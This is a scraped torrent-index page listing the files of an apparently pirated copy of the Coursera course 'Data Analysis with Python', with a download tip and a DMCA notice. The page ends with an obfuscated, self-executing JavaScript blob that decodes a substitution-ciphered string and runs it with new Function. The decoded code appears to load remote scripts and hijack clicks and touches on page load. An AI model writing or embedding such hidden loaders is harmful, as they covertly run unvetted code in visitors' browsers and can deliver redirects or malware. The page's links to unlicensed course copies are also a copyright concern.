[Coursera] Data Analysis with Python (02.2022)

mp4   Hot：384   Size：156.22 MB   Created：2022-04-26 03:12:00   Update：2024-10-29 01:38:26  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • 01_importing-datasets/01_importing-datasets/01_the-problem.en.srt 2.88 KB
    01_importing-datasets/01_importing-datasets/01_the-problem.en.txt 1.76 KB
    01_importing-datasets/01_importing-datasets/01_the-problem.mp4 3.08 MB
    01_importing-datasets/01_importing-datasets/02_understanding-the-data.en.srt 3.73 KB
    01_importing-datasets/01_importing-datasets/02_understanding-the-data.en.txt 2.24 KB
    01_importing-datasets/01_importing-datasets/02_understanding-the-data.mp4 4.76 MB
    01_importing-datasets/01_importing-datasets/03_python-packages-for-data-science.en.srt 3.49 KB
    01_importing-datasets/01_importing-datasets/03_python-packages-for-data-science.en.txt 2.17 KB
    01_importing-datasets/01_importing-datasets/03_python-packages-for-data-science.mp4 3.53 MB
    01_importing-datasets/01_importing-datasets/04_importing-and-exporting-data-in-python.en.srt 6.08 KB
    01_importing-datasets/01_importing-datasets/04_importing-and-exporting-data-in-python.en.txt 3.53 KB
    01_importing-datasets/01_importing-datasets/04_importing-and-exporting-data-in-python.mp4 6.71 MB
    01_importing-datasets/01_importing-datasets/05_getting-started-analyzing-data-in-python.en.srt 6.59 KB
    01_importing-datasets/01_importing-datasets/05_getting-started-analyzing-data-in-python.en.txt 3.84 KB
    01_importing-datasets/01_importing-datasets/05_getting-started-analyzing-data-in-python.mp4 6.36 MB
    01_importing-datasets/01_importing-datasets/06_accessing-databases-with-python.en.srt 5.24 KB
    01_importing-datasets/01_importing-datasets/06_accessing-databases-with-python.en.txt 3.43 KB
    01_importing-datasets/01_importing-datasets/06_accessing-databases-with-python.mp4 5.53 MB
    01_importing-datasets/01_importing-datasets/07_lesson-summary_instructions.html 1.62 KB
    02_data-wrangling/01_data-wrangling/01_pre-processing-data-in-python.en.srt 3.71 KB
    02_data-wrangling/01_data-wrangling/01_pre-processing-data-in-python.en.txt 1.99 KB
    02_data-wrangling/01_data-wrangling/01_pre-processing-data-in-python.mp4 3.35 MB
    02_data-wrangling/01_data-wrangling/02_dealing-with-missing-values-in-python.en.srt 8.31 KB
    02_data-wrangling/01_data-wrangling/02_dealing-with-missing-values-in-python.en.txt 5.16 KB
    02_data-wrangling/01_data-wrangling/02_dealing-with-missing-values-in-python.mp4 8.58 MB
    02_data-wrangling/01_data-wrangling/03_data-formatting-in-python.en.srt 4.74 KB
    02_data-wrangling/01_data-wrangling/03_data-formatting-in-python.en.txt 2.89 KB
    02_data-wrangling/01_data-wrangling/03_data-formatting-in-python.mp4 5.04 MB
    02_data-wrangling/01_data-wrangling/04_data-normalization-in-python.en.srt 4.89 KB
    02_data-wrangling/01_data-wrangling/04_data-normalization-in-python.en.txt 3.01 KB
    02_data-wrangling/01_data-wrangling/04_data-normalization-in-python.mp4 5.13 MB
    02_data-wrangling/01_data-wrangling/05_binning-in-python.en.srt 2.33 KB
    02_data-wrangling/01_data-wrangling/05_binning-in-python.en.txt 1.54 KB
    02_data-wrangling/01_data-wrangling/05_binning-in-python.mp4 2.68 MB
    02_data-wrangling/01_data-wrangling/06_turning-categorical-variables-into-quantitative-variables-in-python.en.srt 2.52 KB
    02_data-wrangling/01_data-wrangling/06_turning-categorical-variables-into-quantitative-variables-in-python.en.txt 1.53 KB
    02_data-wrangling/01_data-wrangling/06_turning-categorical-variables-into-quantitative-variables-in-python.mp4 3 MB
    02_data-wrangling/01_data-wrangling/07_lesson-summary_instructions.html 1.59 KB
    03_exploratory-data-analysis/01_exploratory-data-analysis/01_exploratory-data-analysis.en.srt 1.46 KB
    03_exploratory-data-analysis/01_exploratory-data-analysis/01_exploratory-data-analysis.en.txt 1.08 KB
    03_exploratory-data-analysis/01_exploratory-data-analysis/01_exploratory-data-analysis.mp4 1.93 MB
    03_exploratory-data-analysis/01_exploratory-data-analysis/02_descriptive-statistics.en.srt 6.76 KB
    03_exploratory-data-analysis/01_exploratory-data-analysis/02_descriptive-statistics.en.txt 4.24 KB
    03_exploratory-data-analysis/01_exploratory-data-analysis/02_descriptive-statistics.mp4 6.69 MB
    03_exploratory-data-analysis/01_exploratory-data-analysis/03_groupby-in-python.en.srt 5.04 KB
    03_exploratory-data-analysis/01_exploratory-data-analysis/03_groupby-in-python.en.txt 3.13 KB
    03_exploratory-data-analysis/01_exploratory-data-analysis/03_groupby-in-python.mp4 4.74 MB
    03_exploratory-data-analysis/01_exploratory-data-analysis/04_correlation.en.srt 3.74 KB
    03_exploratory-data-analysis/01_exploratory-data-analysis/04_correlation.en.txt 2.42 KB
    03_exploratory-data-analysis/01_exploratory-data-analysis/04_correlation.mp4 3.74 MB
    03_exploratory-data-analysis/01_exploratory-data-analysis/05_correlation-statistics.en.srt 3.68 KB
    03_exploratory-data-analysis/01_exploratory-data-analysis/05_correlation-statistics.en.txt 2.33 KB
    03_exploratory-data-analysis/01_exploratory-data-analysis/05_correlation-statistics.mp4 3.91 MB
    03_exploratory-data-analysis/01_exploratory-data-analysis/06_association-between-two-categorical-variables-chi-square.en.srt 6.34 KB
    03_exploratory-data-analysis/01_exploratory-data-analysis/06_association-between-two-categorical-variables-chi-square.en.txt 4.32 KB
    03_exploratory-data-analysis/01_exploratory-data-analysis/06_association-between-two-categorical-variables-chi-square.mp4 7.53 MB
    03_exploratory-data-analysis/01_exploratory-data-analysis/07_lesson-summary_instructions.html 1.87 KB
    04_model-development/01_model-development/01_model-development.en.srt 2.5 KB
    04_model-development/01_model-development/01_model-development.en.txt 1.51 KB
    04_model-development/01_model-development/01_model-development.mp4 2.83 MB
    04_model-development/01_model-development/02_linear-regression-and-multiple-linear-regression.en.srt 8.57 KB
    04_model-development/01_model-development/02_linear-regression-and-multiple-linear-regression.en.txt 5.26 KB
    04_model-development/01_model-development/02_linear-regression-and-multiple-linear-regression.mp4 9.37 MB
    04_model-development/01_model-development/03_model-evaluation-using-visualization.en.srt 6.85 KB
    04_model-development/01_model-development/03_model-evaluation-using-visualization.en.txt 4.04 KB
    04_model-development/01_model-development/03_model-evaluation-using-visualization.mp4 6.76 MB
    04_model-development/01_model-development/04_polynomial-regression-and-pipelines.en.srt 6.4 KB
    04_model-development/01_model-development/04_polynomial-regression-and-pipelines.en.txt 3.85 KB
    04_model-development/01_model-development/04_polynomial-regression-and-pipelines.mp4 6.5 MB
    04_model-development/01_model-development/05_measures-for-in-sample-evaluation.en.srt 4.91 KB
    04_model-development/01_model-development/05_measures-for-in-sample-evaluation.en.txt 3.16 KB
    04_model-development/01_model-development/05_measures-for-in-sample-evaluation.mp4 5.41 MB
    04_model-development/01_model-development/06_prediction-and-decision-making.en.srt 6.83 KB
    04_model-development/01_model-development/06_prediction-and-decision-making.en.txt 4.99 KB
    04_model-development/01_model-development/06_prediction-and-decision-making.mp4 8.73 MB
    04_model-development/01_model-development/07_lesson-summary_instructions.html 2.39 KB
    05_model-evaluation/01_model-evaluation-and-refinement/01_model-evaluation-and-refinement.en.srt 11.42 KB
    05_model-evaluation/01_model-evaluation-and-refinement/01_model-evaluation-and-refinement.en.txt 6.81 KB
    05_model-evaluation/01_model-evaluation-and-refinement/01_model-evaluation-and-refinement.mp4 10.76 MB
    05_model-evaluation/01_model-evaluation-and-refinement/02_overfitting-underfitting-and-model-selection.en.srt 6.83 KB
    05_model-evaluation/01_model-evaluation-and-refinement/02_overfitting-underfitting-and-model-selection.en.txt 4.11 KB
    05_model-evaluation/01_model-evaluation-and-refinement/02_overfitting-underfitting-and-model-selection.mp4 5.92 MB
    05_model-evaluation/01_model-evaluation-and-refinement/03_ridge-regression-introduction_instructions.html 1.31 KB
    05_model-evaluation/01_model-evaluation-and-refinement/04_ridge-regression.en.srt 6.79 KB
    05_model-evaluation/01_model-evaluation-and-refinement/04_ridge-regression.en.txt 4.02 KB
    05_model-evaluation/01_model-evaluation-and-refinement/04_ridge-regression.mp4 6.01 MB
    05_model-evaluation/01_model-evaluation-and-refinement/05_grid-search.en.srt 6.51 KB
    05_model-evaluation/01_model-evaluation-and-refinement/05_grid-search.en.txt 3.97 KB
    05_model-evaluation/01_model-evaluation-and-refinement/05_grid-search.mp4 7.21 MB
    05_model-evaluation/01_model-evaluation-and-refinement/06_lesson-summary_instructions.html 1.74 KB
    06_final-assignment/01_house-sales-in-king-county-usa/01_project-case-scenario_House_Sales_in_King_Count_USA.ipynb 17.03 KB
    06_final-assignment/01_house-sales-in-king-county-usa/01_project-case-scenario_instructions.html 2.2 KB
    06_final-assignment/02_digital-badge/01_ibm-digital-badge_instructions.html 152.79 KB
    06_final-assignment/03_acknowledgments/01_course-creators_instructions.html 2.13 KB

Download Info

  • Tips

    “[Coursera] Data Analysis with Python (02.2022)” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();